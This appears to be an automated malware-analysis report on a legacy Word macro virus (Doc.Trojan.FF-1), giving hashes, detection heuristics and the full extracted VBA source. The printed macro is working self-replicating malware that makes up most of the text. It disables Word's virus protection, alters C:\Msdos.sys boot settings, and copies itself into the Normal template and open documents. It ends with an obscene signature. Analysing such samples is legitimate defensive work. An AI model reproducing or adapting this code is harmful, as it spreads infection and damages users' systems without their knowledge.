Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 50eea3a19d49881b…

MALICIOUS

Office (OLE)

35.0 KB Created: 2001-01-05 13:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a71cf271063cdd59fe02b416bb015109 SHA-1: b4e99c81a834f5ae13e2f620a2f4bdaf80d74dc2 SHA-256: 50eea3a19d49881bb9f3adc329af6af3da4140d2f6c85e29d7b7275c7b4826da
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file exhibits high-severity heuristics for legacy WordBasic and VBA macros, including Document_Open and Auto_Close events, strongly suggesting malicious intent. ClamAV detections confirm this, identifying the file as 'Doc.Trojan.FF-1'. The presence of these auto-executing macros indicates the document is likely designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Trojan.FF-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FF-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).codemodule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub document_Open(): On Error Resume Next: Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2): CommandBars("Tools").Controls("Macro").Delete
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7055 bytes
SHA-256: a0dab18763d318c642ef264f353d7837ab0e69e54c2832daa73462c626e6255b
Detection
ClamAV: Doc.Trojan.FF-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
'MR.Leepile26/01/2000 08:44:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
h
Sub ToolsMacro()
'MR.Leepile26/01/2000 08:44:51HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
'MR.Leepile26/02/99 10:54:50HP LaserJet 6P/6MP - Standard on LPT1:cecClippit
End Sub


Private Sub document_Open(): On Error Resume Next: Options.ConfirmConversions = (0 - 0): Options.SaveNormalPrompt = (1 - 1): Options.VirusProtection = (2 - 2): CommandBars("Tools").Controls("Macro").Delete
If Day(1) Then: SetAttr "C:\Msdos.sys", vbNormal: System.PrivateProfileString("C:\Msdos.sys", "Options", "BootGUI") = "0": SetAttr "C:\Msdos.sys", vbSystem + vbHidden + vbReadOnly
Open "C:\FF.sys" For Output As #1: Print #1, MacroContainer.VBProject.VBComponents.Item(1).codemodule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).codemodule.CountOfLines): Close #1
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).codemodule.deletelines 1, ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).codemodule.AddFromFile ("C:\FF.sys"): ActiveDocument.VBProject.VBComponents.Item(1).codemodule.AddFromFile ("C:\FF.sys"): ActiveDocument.SaveAs FileName = ActiveDocument.FullName: End Sub
'*;*;*;*;*;*;*;*;*;*;*;*;*;*'
'*~FistFuck:~By~Lys~KovicK~*'
'*~Enjoy~The~HandJob~Bitch~*'
'*'*'*'*'*'*'*'*'*'*'*'*'*'*'